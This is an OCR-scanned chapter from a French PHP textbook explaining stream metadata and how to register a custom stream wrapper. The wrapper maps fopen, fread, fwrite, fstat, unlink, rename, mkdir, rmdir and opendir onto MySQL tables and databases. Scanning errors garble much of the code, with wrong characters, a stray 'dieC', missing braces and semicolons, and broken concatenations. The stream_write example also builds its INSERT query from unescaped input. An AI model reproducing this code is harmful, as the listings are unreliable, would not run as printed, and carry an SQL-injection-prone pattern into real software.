Retourne les informations sur une ressource de flux. 

Syntaxe : array stream_get_meta_data (ressource $flux) 

$flux Ressource ouverte avec les fonctions fopen(), fsockopen() ou 

pf sockopen ( ) . 

retour Retourne un tableau associatif comportant les differentes information sur 

le flux. 

<?php 

$fp = fopen('ftp://tild:passe@ftp. monserveur.org/php. net. html ' , V); 

pri nt_r (stream_get_meta_data ($f p) ) ; 

fclose($fp); 

?> 

L'exemple precedent retourne un resultat du type : 

Array 

( 

[wrapper_data] => 

[wrapper_type] => ftp 

[stream_type] => tcp_socket 

[mode] => r+ 

[unread_bytes] => 

[seekable] => 

[uri] => ftp://tild:passe@ftp. monserveur.org/php.net.html 

[timed_out] => 

[blocked] => 1 

[eof] => 
) 
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Aj outer des gestionnaires 



II serait dommage de se limiter a ces quelques protocoles supportes. Le langage PHP, dans sa 
grande souplesse, permet de creer de nouveaux gestionnaires. Ainsi on peut imaginer que, 
desirant ouvrir un fichier dans un format que vous auriez convenu prealablement, vous puissiez 
indiquer votre gestionnaire aux fonctions de lecture et d'ecriture de fichiers. De la sorte, il vous 
est plus commode d'effectuer les operations elementaires en utilisant simplement les fonctions 
classiques d'acces aux fichiers. 

Nous allons implementer ici un gestionnaire qui va nous permettre d'acceder a une base de 
donnees. Pour cela il faut faire appel a la fonction stream_wrapper_register ( ) ou a son 

alias stream_register_wrapper ( ) . 
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stream_wrapper_register () 

Cette fonction permet d'enregistrer un nouveau protocole definit par une classe. 

Syntaxe : bool stream_wrapper_register (string $protocole, string 

$classe) 

$protocol e Nom du protocole a definir. 

$cl asse Nom de la classe utilisee pour implementer le protocole. 

retour Retourne TRUE si le protocole a bien ete enregistre et FALSE dans le cas 

contraire (Par exemple si le protocole est deja enregistre). 

Avant d'utiliser cette fonction, vous devez avoir implemente une classe. Celle-ci comprend un 
certain nombre de methodes qu'il vous faut prendre en compte. 



J\ Exemple PHP 5 

^^\ L 'exemple qui va suivre prend en compte les modifications de PHP5 pour la partie 
ATTENTION objet. Cela a pour consequence que des modifications doivent etre apportees pour 
adapter la classe a une version anterieure (PHP 4.3). 

II faut dans un premier temps permettre l'ouverture du flux et indiquer dans la classe les 
operations qui doivent etre effectuees a la suite d'un appel a la fonction f open ( ) . Pour ce faire 
nous utiliserons la methode stream_open ( ) . 



(Classe Stream Personnalisee)->stream_open() 

Cette commande interprete l'appel a la fonction f open ( ) et analyse le chemin du flux qui doit 
etre traite ainsi que le mode d'ouverture. 

Syntaxe: bool stream_open (string $chemin, string $mode, int $options, 

string $cheminReel ) 

$chemin Chemin vers le flux a traiter. II faut utiliser la fonction parse_url ( ) 

pour analyser la chaine de caracteres. 

$mode Mode d'ouverture du flux voir la fonction f open ( ) pour la liste des 

modes disponibles. Au developpeur d'analyser le mode pour gerer les 
traitements utilisables. 

$option Fournit des options particulieres pour permettre l'ouverture de la 

ressource de flux : 

STREAM_USE_PATH : Indique que la ressource est a rechercher dans le 
chemin courant ou a l'aide de la configuration de l'include_path (voir 
le chapitre sur php.ini). 
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STREAM_REPORT_ERRORS : Le developpeur de la classe est responsable 
de la leve des erreurs qui pourrait survenir (Voir la fonction 

trigger_error ( ) ). 

$chemi nReel Chemin reel de la ressource. 

retour Retournez TRUE si l'operation a ete effectuee avec succes et FALSE dans 

le cas contraire. 

Voici un exemple implementant uniquement l'ouverture pour examiner les donnees passees a 
la fonction stream_open ( ) lorsque Ton execute f open ( ) . 

<?php 

class dbStream { 

function stream_open($chemin, $mode, $options='', &$chemi nReel = ' ') { 
echo $chemin; 
echo "\n"; 
echo $mode; 
return TRUE; 
} 
} 
stream_wrapper_register( ' exl ' , 'dbStream') 

or die("Impossible d'enregistrer ce protocole !"); 

$flux = fopen("exl://monchemin", "r"); 
?> 

Le resultat est le suivant : 

exl://monchemin 
r 

Pour implementer la fermeture du flux, il faut mettre en place la methode stream_ciose ( ) . 



(Classe Stream Personnalisee)->stream_close() 

Methode appelee lors de l'execution de la fonction f close ( ) . 

Syntaxe : void stream_cl ose(void) 

Nous allons maintenant mettre en place la connexion a notre base de donnees. Pour l'exemple 
nous allons creer une base de donnees a l'aide du script SQL suivant : 

CREATE DATABASE 'bible' ; 

CREATE TABLE 'auteurs' ( 

'id' INT NOT NULL AUTOJNCREMENT , 

'nom' VARCHAR( 255 ) NOT NULL , 

'prenom' VARCHAR( 255 ) NOT NULL , 

PRIMARY KEY ( 'id' ) 

) COMMENT = 'Table des auteurs de la Bible du PHP'; 
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La connexion a notre table s 'effectuera en indiquant l'url suivante : 

mysql : / /dbUser : dbPasse@serveur /base 

dbuser etant un utilisateur autorise a acceder a la base de donnees. 

dbPasse etant le mode de passe de l'utilisateur. 

serveur indique l'adresse du serveur de la base. 

base est le nom de la base de donnees utilisee pour la connexion. 

table enfin, est le nom de la table ou se trouve nos donnees. 

Voici comment implementer la classe correspondante : 

<?php 

class fluxMysql { 

private $db; 

private $rs; 

private $table; 

function stream_open($chemin, $mode, $options='', &$cheminReel=' ') { 
$url = parse_url ($chemin) ; 

$this->db = mysql_connect($url ['host'] , $url ['user'] , $url ['pass']] 
// On separe la base et la table 

list($base, $this->table) = split("\.", $url ['path']) ; 
// On supprime le "/" devant le nom de la base 
$base = substr($base, l-strlen($base)) ; 
mysql_select_db($base) ; 

// On execute la requete de selection de la table 

$this->rs = mysql _query( 'select * from ' .$this->table, $this->db); 



} 



return TRUE; 



function stream_close() { 

return mysql_close($this->db) ; 



} 



stream_wrapper_register(' mysql ' , 'fluxMysql ') 

or dieC'Impossible d'enregistrer ce protocole !"); 

// Ouverture de la connexion 

$flux = fopen("mysql ://root@local host/bible. auteurs", "r"); 

// Terminer la connexion 

fclose($flux) ; 

?> 

Bien sur cette fonction n'affiche rien pour le moment. Pour se faire vous devez mettre en place 
la methode qui sera appelee lors de l'execution d'une fonction fread( ) ou fgets ( ) . Pour se 
faire, vous devez implementer stream_read ( ) dans votre classe. 
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(Classe Stream Personnalisee)->stream_read() 

Methode execute lors de 1'appel de la fonction f read ( ) ou f gets ( ) . 

Syntaxe : string stream_read(int $nombre) 

$nombre Nombre d'octets qui doivent etre lu (en fonction du pointeur courant). 

retour Chaine de caractere correspondant a la position du pointeur courant et de 

taille correspondant au nombre, $nombre, de caracteres lus. Si aucun 
caractere ne peut-etre retourne, la fonction retourne FALSE. 

Pour illustrer par un exemple la mise en place de cette methode, nous allons ajouter deux 
enregistrements a notre base de donnees a l'aide du script SQL suivant : 

INSERT INTO 'auteurs' ('nom' , 'prenom' ) 

VALUES ('GUEDON', 'Laurent'); 
INSERT INTO 'auteurs' ('nom' , 'prenom' ) 

VALUES ('HEUTE', 'Thomas'); 

Maintenant, implementons notre methode de lecture. 

function stream_read($nombre) { 
$this->position++; 
$chaineretour = ' ' ; 
$row = mysql_fetch_array($this->rs) ; 
for ($i=0; $i<mysql_num_fields($this->rs) ; $i++) { 

$chaineretour .= $row[mysql_field_name($this->rs, $i)]; 

// Format la chaTne retournee 

// Tabulation entre les champs 

// Retour a la ligne lorsque tous 

// les champs ont ete lus 

if ($i+l==mysql_num_fields($this->rs)) { 
$chaineretour .= "\n"; 

} else { 

$chaineretour .= "\t"; 

} 
} 
return $chaineretour; 



Si vous essayez d'effectuer une lecture a ce niveau, vous verrez le message suivant apparaitre : 

Warning: fread() [function.fread] : fluxMysql : :stream_eof is not implemented! 

En effet, vous devez implementer une methode stream_eof () avant d'effectuer n'importe 
quelle lecture sur votre flux. 
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(Classe Stream Personnalisee)->stream_eof() 



Methode indiquant si le pointeur du flux se trouve a la fin du fichier ou non. Utilise dans le cas 
de l'execution de la fonction f eof ( ) . 

Syntaxe : bool stream_eof (void) 

retour Retourne TRUE si le pointeur se trouve en fin de lecture de la ressource. 

Pour notre exemple, nous implementerons cette methode comme ceci : 

function stream_eof () { 

// Verifie si toutes les entrees ont ete lues 
if ($this->position < $this->num_rows) { 

// Si non, retourne FALSE 

return FALSE; 
} else { 

// Dans le cas contraire, renvoie TRUE 

return TRUE; 
} 
} 

Sans oublier d'ajouter ceci au debut de la classe 

private $position = 0; 

La lecture peut maintenant s'effectuer de la facon suivante : 

stream_wrapper_register('mysql ' , 'fluxMysql ') 

or dieC'Impossible d'enregistrer ce protocole !"); 

// Ouverture de la connexion 

$flux = fopen("mysql ://root@local host/bible. auteurs" , "r"); 
while($c = fread($flux, 2048)) { 
echo $c; 

} 

// Terminer la connexion 

fclose($flux) ; 

On obtient le resultat suivant : 

1 GUEDON Laurent 

2 HEUTE Thomas 



Un exemple sans octet 

Vous remarquerez qu'ici, nous n'avons pas traite le second parametre de la fonction 
frea d ( ) . Mais il est simple de decouper le resultat pour ne retourner qu 'unepartie de 
la chaine en fonction du nombre d'octets desire. 



REMARQUE 
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Vous pouvez remarquer que la lecture s'effectue simplement, le pointeur se deplagant d'un 
enregistrement a l'autre a chaque appel de la fonction f read ( ) . 



JK PHP 4.3 oui, PHP 5 non... 

^^\ Cet exemple bien que fonctionnel dans les versions 4. 3 et superieur ne fonctionne pas 
ATTENTION dans la version recente de PHP5. Le bug a ete reporte et cela devrait etre retabli dans 
les prochaines versions de PHP 5. 

Vous savez qu'il est simple de connaitre la position du pointeur a chaque moment. Vous utilisez 
f tell ( ) en indiquant la ressource utilisee et la fonction vous retourne la position actuelle du 
pointeur. Pour implementer un equivalent pour votre gestionnaire, vous devez mettre en place 
une methode nominee stream_teii ( ) dans votre classe. 



(Classe Stream Personnalisee)->stream_tell() 

Methode appelee lors de l'execution de la fonction f tell ( ) . Vous devez retourner la position 
du pointeur. 

Syntaxe : int stream_tel 1 (void) 

retour Vous devez renvoyer la position du pointeur de type entier. 

Voici comment dans notre exemple, la methode stream_teli ( ) retourne la position actuelle 
du pointeur. 

function stream_tell () { 
return $this->position; 



Puis ajouter ceci : 

rewind($flux) ; 

echo ftell($flux)."\n"; 



Bugdejeunesse 

Cette fonctionnalite n 'est pas utilisable dans PHP pour le moment, en effet, a I'heure 
de la redaction de cette ouvrage (version 5.0.2), ftell ( ) n'utilise pas le valeur 
retournee par de la methode stream_tell (). Peut-etre pour la version de PHP 
5.1... 

Lorsque vous utilisez les fonctions de lecture vous pouvez facilement deplacer le pointeur a 
l'aide de la fonction f seek ( ) . La encore vous pouvez implementer une methode qui va vous 
permettre l'usage de cette fonction. II faut mettre en place la methode stream_seek ( ) . 



REMARQUE 
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(Classe Stream Personnalisee)->stream_seek() 

Permet de modifier la position du pointeur du flux. Cette methode est utilisee lors de l'appel a 
la fonction f seek ( ) . Vous devez implementer la methode stream_teii ( ) auparavant. 

Syntaxe : bool stream_seek(int $offset, int $origine) 

$of f set Nouvelle position du pointeur depuis l'origine $origine. 

$origine Point de depart pour calculer la nouvelle position. Voir les parametre 

utilises par la fonction f seek ( ) . 

retour La methode doit retourner TRUE si le deplacement a bien ete effectue et 

FALSE dans le cas contraire. 

Placez cette methode dans votre classe : 

function stream_seek($offset, $origine=SEEK_SET) { 
switch($origine) { 

// L'origine du deplacement est 
case SEEK_SET: 

$dep = 0; 

break; 
// L'origine du deplacement est la position 
// courante 
case SEEK_CUR: 

$dep = $this->position; 

break; 
// L'origine du deplacement est la fin du 
// flux 
case SEEK_END: 

$dep = mysql_num_rows($this->rs) ; 
break; 



// Deplacement 

$this->position = $offset+$dep; 
return mysql_data_seek($thi s->rs, $this->position) ; 
} 

Ainsi que l'appel a la fonction f seek ( ) dans votre programme : 

echo "Deplacer le pointeur sur la seconde entree :"; 

fseek($flux, 1); 

echo fread($flux, 2048). "\n"; 

Maintenant observons de quelle maniere nous pouvons utiliser fwrite() pour ecrire des 
donnees dans la table. Pour cela nous devons mettre en place la methode stream_write ( ) . 
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(Classe Stream Personnalisee)->stream_write() 

Cette methode est appelee en reponse a l'execution de la fonction f write (). Vous devez 
implementer la methode en fonction des donnees passees en argument. 

Syntaxe : int stream_write (string $donnee) 

$donnee Chaine de caractere qu'il faut traiter dans la fonction. 

retour Vous devez retourner la longueur, en octet, des donnees qui ont ete prise 

en compte par votre fonction. 

Voici pour notre exemple, comment nous pouvons ajouter un enregistrement. II faut dans un 
premier temps implementer la methode : 

function stream_write($donnee) { 
$data = explode ("\n", $donnee) ; 
$nboct = 0; 

// Formate la chaTne d 1 insertion des donnees 
// Celles-ci sont passees a la fonction fwrite() 
// sous la forme : 

// champl=donnee l\nchamp2=donnee 2\netc... 
$formatstrl = $formatstr2 = "("; 
for ($i=0; $i<count($data) ; $i++) { 

list($champ, $valeur) = explode ("=", $data[$i]); 

$formatstrl .= $champ; 

$formatstr2 .= .$valeur. ; 

$nboct = $nboct + strlen($valeur) ; 

// Ajoute une virgule le cas echeant 

if(count($data) > $i+l) { 
$formatstrl .= ", "; 
$formatstr2 .= ", "; 

} 
} 

$formatstrl .= ")"; 
$formatstr2 .= ")"; 

if(mysql_query("INSERT INTO ".$this->table." ".$formatstrl. 
" VALUES ".$formatstr2, $this->db)) { 
// On execute de nouveau la requete afin de recuperer le dernier 
// enregistrement 
mysql_free_result($this->rs) ; 
$this->rs = mysql_query(' select * from ' .$this->table, $this->db); 

// On place le pointeur sur la derniere entree 
$this->stream_seek(0, SEEK_END) ; 
return $nboct; 
} else { 

return FALSE; 
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Et ajoutons ce code a la fin de notre script: 

echo "Enregistrement d'une nouvelle entree : "; 

echo fwrite($flux, "nom=HEUTE\nprenom=Damien") ; 

echo " caracteres ont ete enregistre\n"; 

// On ecrit les entrees pour verifier que l'ecriture 

// a bien ete effectuee 

rewind($flux) ; 

echo "Position actuelle du pointeur :".ftell ($flux) . "\n"; 

while($c = fread($flux, 2048)) { 

echo "\n"; 

echo "entree :"; 

echo $c; 
} 

Le resultat est maintenant le suivant : 

Position actuelle du pointeur :17 

1 GUEDON Laurent 

Position actuelle du pointeur :32 

2 HEUTE Thomas 

Position actuelle du pointeur :0 

Deplacer le pointeur sur la seconde entree :2 HEUTE Thomas 

Enregistrement d'une nouvelle entree : 11 caracteres ont ete enregistre 
Position actuelle du pointeur :0 

entree :1 GUEDON Laurent 

entree :2 HEUTE Thomas 

entree :3 HEUTE Damien 

Vous pouvez observer que nous ne prenons pas en compte le mode d'ouverture de la ressource. 
En effet, alors que nous avions selectionne l'ouverture en lecture seule, il est possible d'ecrire 
des donnees dans la table. En consequence, c'est au developpeur qu'il incombe la 
responsabilite de verifier les acces a la ressource en fonction du mode d'ouverture de celle-ci. 
Nous pouvons specifier ceci directement dans la methode correspondante sans oublier 
d'assigner le mode a la propriete $mode de notre objet. 

Nous declarons dans un premier temps une nouvelle propriete : 

private $mode; 

Ensuite, il faut lui assigner une valeur lors de l'appel a la fonction f open ( ) : 

function stream_open($chemin, $mode, $options='', &$cheminReel=' ') { 
$url = parse_url ($chemin); 

$this->db = mysql_connect($url ['host'] , $url ['user'] , $url ['pass']); 
// On separe la base et la table 

list($base, $this->table) = split("\.", $url [' path '] ) ; 
// On supprime le "/" devant le nom de la base 
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$base = substr($base, l-strlen($base)) ; 
mysql_select_db($base) ; 

// On execute la requete de selection de la table 

$this->rs = mysql_query(' select * from ' .$this->table, $this->db); 

$this->mode = $mode; 

return TRUE; 



Enfin executer le test correspondant dans la methode f write ( ) : 

function stream_write($donnee) { 

if ($this->mode == "r") return FALSE; 

$data = explode ("\n", $donnee) ; 

$nboct = 0; 

// Formate la chaTne d 1 insertion des donnees 

// Celles-ci sont passees a la fonction fwrite() 



Si vous executez le script, vous observez qu'a present, le mode d'ecriture "r" empeche la 
creation de nouvelles entrees dans la table. Vous pouvez ajouter un controle dans la methode 
f read ( ) pour egalement empecher la lecture lorsque le mode d'ouverture de la ressource est 
en ecriture seule ("Write Only"). 

La fonction f stat ( ) peut, elle aussi, etre implementee. Meme s'il est evident qu'elle ne peut 
pas forcement retourner toutes les donnees que Ton peut trouver en effectuant un f stat ( ) sur 
un systeme de fichier UNIX. La procedure stream_stat ( ) est utilisee a chaque appel de cette 
fonction. 



(Classe Stream Personnalisee)->stream_stat() 



Doit retourner le tableau associatif avec les clefs suivantes : [dev], [ino], [mode], [nlink], 
[uid], [gid], [rdev], [size], [atime], [mtime], [ctime], [blksize], [blocks] 

Syntaxe : array stream_stat (void) 

retour Retourne un tableau associatif comportant une ou plusieurs valeurs. 

Dans notre exemple, nous allons mettre en oeuvre la procedure pour permettre a la fonction 
f stat ( ) de renseigner la date de creation, la date de derniere modification ainsi que la taille de 
la table (en comptant les indexes ). 

function rettimestamp($datStr) { 

if(ereg("([0-9]{4})-([0-9]{2})-([0-9]{2}) ". // Dates 
"([0-9]{2}):([0-9]{2}):([0-9]{2})". // Heures 

$datStr, $regmatch)) { 

return mktime($regmatch[4] , $regmatch[5] , $regmatch[6] , 
$regmatch[2] , $regmatch[3] , $regmatch[l]) ; 
} else { 

return FALSE; 
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} 

function stream_stat() { 

$sqlinfo = mysql_query('SHOW TABLE STATUS'); 
SrsTablelnfo = mysql_fetch_array($sqlinfo) ; 

$tableinfo = array( 

"size" => $rsTableInfo["Index_length"] + $rsTableInfo["Data_length"] , 
"mtime" => $this->rettimestarnp($rsTableInfo["Update_time"]) , 
"ctime" => $this->rettimestamp($rsTableInfo["Create_time"]) 

); 

return $tableinfo; 

} 

II ne nous reste plus qu'a appeler notre fonction f stat ( ) et observer le resultat: 

Listing 9.43 : streamopen.php 

echo "Informations sur la table :\n"; 

$stat = fstat($flux); 

echo "- Taille:".round($stat["size"]/1000, 1)." Ko\n"; 

echo "- Derniere modification:" .date(' j/m/Y G:i:s', $stat ["mtime"] ) ."\n"; 

echo "- Date de creation:". date(' j/m/Y G:i:s', $stat["ctime"]) ."\n"; 

Informations sur la table : 

- Taille:2.7 Ko 

- Derniere modification: 24/09/2004 13:49:18 

- Date de creation: 15/09/2004 17:05:50 

La fonction unlink ( ) est utilisee pour supprimer les liens vers une ressource. Depuis PHP 5.0, 
il est possible complementer dans un gestionnaire une methode pouvant gerer cette fonction. 
II faut pour cela definir la methode unlink ( ) . 



(Classe Stream Personnalisee)->unlink() 



Decrire dans la methode, la suppression de la ressource definie par son URL. Elle ne peut etre 
implementee qu'avec les versions 5 et superieures du langage PHP. 

Syntaxe : bool unl ink(string $chemin) 

$ c h em i n URL de la ressource a supprimer 

retour Doit retourner TRUE si la ressource a bien ete supprimee et FALSE dans le 

cas contraire. 

Voici un exemple expliquant la suppression d'une ressource de type table a 1'aide de la fonction 

unlink ( ) . 
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Listing 9.44 : streamunlink.php 

<?php 

class fluxMysql { 

function unlink($chemin) { 

$url = parse_url ($chemin) ; 

$db = mysql_connect($url ['host'] , $url ['user'] , $url ['pass']] 

// On separe la base et la table 

list($base, $table) = split("\.", $url ['path']) ; 

// On supprime le "/" devant le nom de la base 

$base = substr($base, l-strlen($base)) ; 

mysql_select_db($base) ; 

mysql_query('DROP TABLE '. Stable, $db) ; 

mysql_close($db) ; 
} 



stream_wrapper_register('mysql ' , 'fluxMysql ') 

or die("Impossible d'enregistrer ce protocole !"); 

// Connexion 

$db = mysql_connect("localhost", "root", ""); 

mysql_select_db("bible") ; 

// Creation d'une table 

mysql_query(' CREATE TABLE 'unlink' ('. 

"chl' VARCHAR( 10 ) NOT NULL ,'. 

"ch2' VARCHAR( 10 ) NOT NULL ,'. 

"ch3' VARCHAR( 10 ) NOT NULL)', $db) ; 

// Insertion des donnees 

mysql_query(" INSERT INTO 'unl ink' VALUES( ' testl ' , 'testl', 'testl')") 

mysql_query(" INSERT INTO 'unlink' VALUES ( 'test2' , 'test2', 'test2')") 

mysql_query(" INSERT INTO 'unl ink' VALUES( ' test3 ' , 'test3', 'test3')") 

// Lecture des entrees dans la table 

$rs = mysql_query ("SELECT * FROM 'unlink'"); 

while ($row = mysql_fetch_row($rs)) { 

echo "Entree : \n"; 

echo "\t".$row[0] ."\n"; 

echo "\t".$row[l] ."\n"; 

echo "\t".$row[2] ."\n\n"; 

} 
mysql_close($db) ; 

// Suppression de la table via la fonction unlink() 
unlink("mysql ://root@local host/bible. unl ink") ; 

//Verification de la suppression de la table 

// Connexion 

$db = mysql_connect("localhost", "root", ""); 

mysql_select_db("bible") ; 

// Lecture des entrees dans la table 
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$rs = mysql_query("SELECT * FROM 'unlink'") 

or die ("Impossible de recuperer les entrees dans cette table"); 
while ($row = mysql_fetch_row($rs)) { 

echo "Entree : "; 

echo "\t".$row[0] ."\n"; 

echo "\t".$row[l] . "\n"; 

echo "\t".$row[2]."\n\n"; 

} 

mysql_close($db) ; 
?> 

Et voici le resultat : 

Entree : 
testl 
testl 
testl 

Entree : 
test2 
test2 
test2 

Entree : 
test3 
test3 
test3 

Impossible de recuperer les entrees dans cette table 

Tous comme les fichiers, vous pouvez etre amene a renommer vos ressources. Dans le cas d'une 
base, vous pouvez modifier le nom de celle-ci. La methode rename ( ) est appelee a chaque 
execution de la fonction du meme nom (Si vous specifiez, bien sur, votre gestionnaire dans 
l'URL). 



(Classe Stream Personnalisee)->rename() 



Renomme ou modifie le chemin vers votre ressource. Methode a implementer uniquement 
avec les versions 5 et superieures du langage PHP. 

Syntaxe: bool rename(string $ancienneRess, string $nouvelleRess) 

$ancienneRess Chemin vers 1'ancienne ressource disponible 

$nouvelleRess Nouvelle ressource 

retour Retournez TRUE si 1'operation a ete executee avec succes et FALSE dans le 

cas contraire. 
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Voici, comme a l'habitude, un exemple d'utilisation : 

Listing 9.45 : streamrename.php 

<?php 

class fluxMysql { 

function rename ($anChemin, $nvChemin) { 

$urll = parse_url ($anChemin) ; 

$url2 = parse_url ($nvChemin) ; 

// On ne prends pas en compte ici l'url complete 

// du nouveau chemin et on suppose que la meme base de donnees 

// est utilisee pour la modification 

$db = mysql_connect($url 1 [ ' host '] , $url l['user'] , $url l['pass']) 

// On separe la base et la table 

list($basel, $tablel) = split("\.", $url l['path']) ; 

list($base2, $table2) = split("\.", $url2[' path '] ) ; 

// On supprime le "/" devant le nom de la base 

$basel = substr($basel, l-strlen($basel)) ; 

mysql_select_db($basel) ; 

mysql_query(' ALTER TABLE '.$tablel.' RENAME TO '.$table2, $db); 
mysql_close($db) ; 
} 
} 

stream_wrapper_register('mysql ' , 'fluxMysql ') 

or die("Impossible d'enregistrer ce protocole !"); 

// Connexion 

$db = mysql_connect("localhost", "root", ""); 

mysql_select_db("bible") ; 

// Creation d'une table 

mysql_query(' CREATE TABLE 'nomnaze' ('. 

"chl' VARCHAR( 10 ) NOT NULL ,'. 

"Ch2' VARCHAR( 10 ) NOT NULL ,'. 

"ch3' VARCHAR( 10 ) NOT NULL)', $db) ; 

// Insertion des donnees 

mysql_query(" INSERT INTO 'nomnaze' VALUES ( 'testl ' , 'testl', 'testl')"] 

mysql_query(" INSERT INTO 'nomnaze' VALUES ( 'test2' , l test2 l , 'test2')"; 

mysql_query(" INSERT INTO 'nomnaze' VALUES ( ' test3 ' , 'test3', 'test3')"; 

// Lecture des entrees dans la table 

$rs = mysql_query("SELECT * FROM 'nomnaze'"); 

echo "II y a ".mysql_num_rows($rs) ." Entree(s) dans la table naze !\n" 

mysql_close($db) ; 

// Renommons la table 

rename ( "my sql ://root@local host/bible. nomnaze", 
"mysql ://root@local host/bible. nomquitue" 
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//Verification que la table porte bien le nouveau nom 

// Connexion en utilisant 1'ancien nom 

$db = mysql_connect("localhost", "root", ""); 

mysql_select_db("bible") ; 

// Lecture des entrees dans la table en utilisant 1'ancien nom 

if($rs = mysql_query ("SELECT * FROM 'nomnaze'")) { 

echo "L'ancien nom est utilise !"; 
} elseif($rs = mysql_query("SELECT * FROM 'nomquitue'")) { 

echo "Nous utilisons maintenant le nouveau nom de la table !\n"; 
while ($row = mysql_fetch_row($rs)) { 
echo "Entree : \n"; 
echo "\t".$row[0]."\n"; 
echo "\t".$row[l] ."\n"; 
echo "\t".$row[2] ."\n\n"; 
} 
} 

mysql_close($db) ; 
?> 

II y a 3 Entree (s) dans la table naze ! 

Nous utilisons maintenant le nouveau nom de la table ! 

Entree : 

testl 

testl 

testl 

Entree : 
test2 
test2 
test2 

Entree : 
test3 
test3 
test3 

Comme les pour fonctions precedentes, la fonction mkdir ( ) qui est utilisee pour creer un 
repertoire, peut-etre ici utilise pour effectuer une toute autre operation. Nous devons pour cela 
implementer une nouvelle methode dans notre classe. Celle-ci est tous simplement la methode 

mkdir ( ) . 



(Classe Stream Personnalisee)->mkdir() 



Methode a implementer pour executer les commandes a realiser a la suite de l'appel a la 
fonction mkdir ( ) . Elle ne peut etre implementee qu'avec les versions 5 et superieures du 
langage PHP. 

Syntaxe : function mkdir(string $chemin, int $mode, int $options) 
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$chemi n URL possedant le filtre a appliquer ainsi que les informations permettant 

de traiter la ressource. 

$mode Le mode est utilise pour indiquer les droits sur le dossier a creer. 

$opti ons Peut-etre indiquees les options suivantes : 

STREAM_REPORT_ERRORS : Indique si les erreurs doivent etre levees par 
le gestionnaire. 

STREAM_MKDIR_RECURSIVE : Indique s'il faut permettre la recursivite 
de la fonction mkdir ( ) . 

retour Indiquez TRUE si les commandes ont ete realisees avec succes et FALSE 

dans le cas contraire. 

Voici un exemple d'implementation de la methode mkdir ( ) . 

Listing 9.46 : streammkdir.php 

<?php 

class fluxMysql { 

function mkdir($chemin, $mode=0777, $options=0) { 

$url = parse_url ($chemin) ; 

$db = mysql_connect($url ['host'] , $url ['user'] , $url ['pass']) ; 

$base = substr($url ['path'] , l-strlen($url ['path'])) ; 

$retour = mysql_query( 'CREATE DATABASE '.$base, $db) ; 
mysql_close($db) ; 
return $retour; 



stream_wrapper_register('mysql ' , 'fluxMysql ') 

or die("Impossible d'enregistrer ce protocole !"); 
if (mkdir ("mysql ://root@localhost/dbrmdir")) { 

echo "La base a ete creee avec succes !"; 
} else { 

echo "Impossible de creer la base de donnees !"; 

} 
?> 

La base a ete creee avec succes ! 

Vous pouvez verifier que la base de donnees est bien en place a l'aide de phpMyAdmin ou du 

client MySQL. 

Si vous essayez de creer une nouvelle fois la base de donnees, le script vous retournera : 

Impossible de creer la base de donnees ! 

Cette base une fois creee, vous pouvez la supprimer en SQL ou implementer la methode 
rmdir ( ) dans votre classe pour qu'elle effectue l'operation. 
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(Classe Stream Personnalisee)->rmdir() 

Methode utilisee a l'execution de la fonction rmdir ( ) . Elle ne peut etre implementee qu'avec 
les versions 5 et superieures du langage PHP. 

Syntaxe : bool rmdir (string $chemin, int $options) 

$ c h em i n URL possedant le f iltre a appliquer ainsi que les informations permettant 

de supprimer la ressource. 

$opti ons Indiquez STREAM_REPORT_ERRORS si vous desirez relever les erreurs a 

l'aide du gestionnaire. 

retour Indiquez TRUE si les commandes de suppression ont ete realisees avec 

succes et FALSE dans le cas contraire. 

Voici le code precedent arrange pour permettre la suppression de la base que vous venez de creer. 

<?php 

class fluxMysql { 

function mkdir($chemin, $mode=0777, $options=0) { 

$url = parse_url ($chemin) ; 

$db = mysql_connect($url ['host'] , $url ['user'] , $url ['pass '] ) ; 

$base = substr($url ['path'] , l-strlen($url ['path'])) ; 

$retour = mysql_query(' CREATE DATABASE '.$base, $db); 
mysql_close($db); 

return $retour; 

} 

function rmdir($chemin, $option) { 

$url = parse_url ($chemin) ; 

$db = mysql_connect($url ['host '] , $url ['user'] , $url ['pass '] ) ; 

$base = substr($url ['path'] , l-strlen($url ['path'])) ; 

$retour = mysql_query('DROP DATABASE '.$base, $db) ; 

mysql_close($db) ; 
return $retour; 
} 
} 

stream_wrapper_register('mysql ' , 'fluxMysql ') 

or dieC'Impossible d'enregistrer ce protocole !"); 

// Creation de la base de donnees 
if (mkdir("mysql ://root@localhost/dbrmdir")) { 

echo "La base a ete creee avec succes !\n"; 
} else { 

echo "Impossible de creer la base de donnees !\n"; 
} 
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// Suppression de la base de donnees 
if (rmdir("mysql ://root@localhost/dbrmdir")) { 

echo "La base a ete supprimee avec succes !\n"; 
} else { 

echo "Impossible de supprimer la base de donnees !\n"; 

} 

?> 

La base a ete creee avec succes ! 

La base a ete supprimee avec succes ! 

Voyons maintenant comment nous pourrions lister les tables contenues dans une base de 
donnees. Pour cela nous allons implementer dans notre gestionnaire la methode 

dir_opendir ( ) . 
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(Classe Stream Personnalisee)->dir_opendir() 

Methode appelee lors de l'utilisation de la fonction opendir ( ) . 



Syntaxe : bool dir_opendir (string $chemin, int $options) 

$ c h em i n URL indiquant le chemin vers la ressource a traiter. 

$opti ons Indiquez STREAM_REPORT_ERRORS si vous desirez relever les erreurs a 

l'aide du gestionnaire. 

retour Indiquez TRUE si la ressource a ete ouverte avec succes et FALSE dans le 

cas contraire. 

Nous avons egalement besoin de creer une methode dir_readdir ( ) qui sera appele lors de 
chaque execution de la fonction readdir ( ) . 



(Classe Stream Personnalisee)->dir_readdir() 



Methode retournant le nom du prochain "fichier" ouvert. Celle-ci est appele a l'execution de la 
fonction readdir ( ) . Cette methode s'utilise conjointement avec dir_opendir ( ) . 

Syntaxe: string dir_readdir(void) 

retour Retourne une chaine representant le nom du prochain fichier. 

N'oublions pas qu'il est necessaire (parfois) de liberer la ressource utilisee. La methode 
dir_closedir ( ) est la pour ca ! 
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(Classe Stream Personnalisee)->dir_closedir() 



Methode appelee lors de l'execution de la fonction closedir ( ) . Vous 1'implementerez de 
facon a liberer la ressource ouverte par dir_opendir ( ) . 

Syntaxe : bool dir_closedir(void) 

retour Indiquez TRUE en cas de succes et FALSE dans le cas contraire. 

Implementation de ces methodes pour recuperer les tables contenues dans une base de 
donnees. 

Listing 9.47 : diropendir.php 

<?php 

class fluxMysql { 

private $base; 

var Stable; 

function dir_opendir($chemin, $option=0) { 
$url = parse_url ($chemin) ; 
$this->base = mysql_connect($url ['host'] , $url ['user'] , $url ['pass']); 

$base = substr($url ['path'] , l-strlen($url ['path'])) ; 

if ($this->table = mysql_list_tables($base, $this->base)) { 

return TRUE; 
} else { 

return FALSE; 
} 
} 

function dir_readdir() { 

if ($row = mysql_fetch_row($this->table)) { 

return $row[0] ; 
} else { 

return FALSE; 
} 
) 

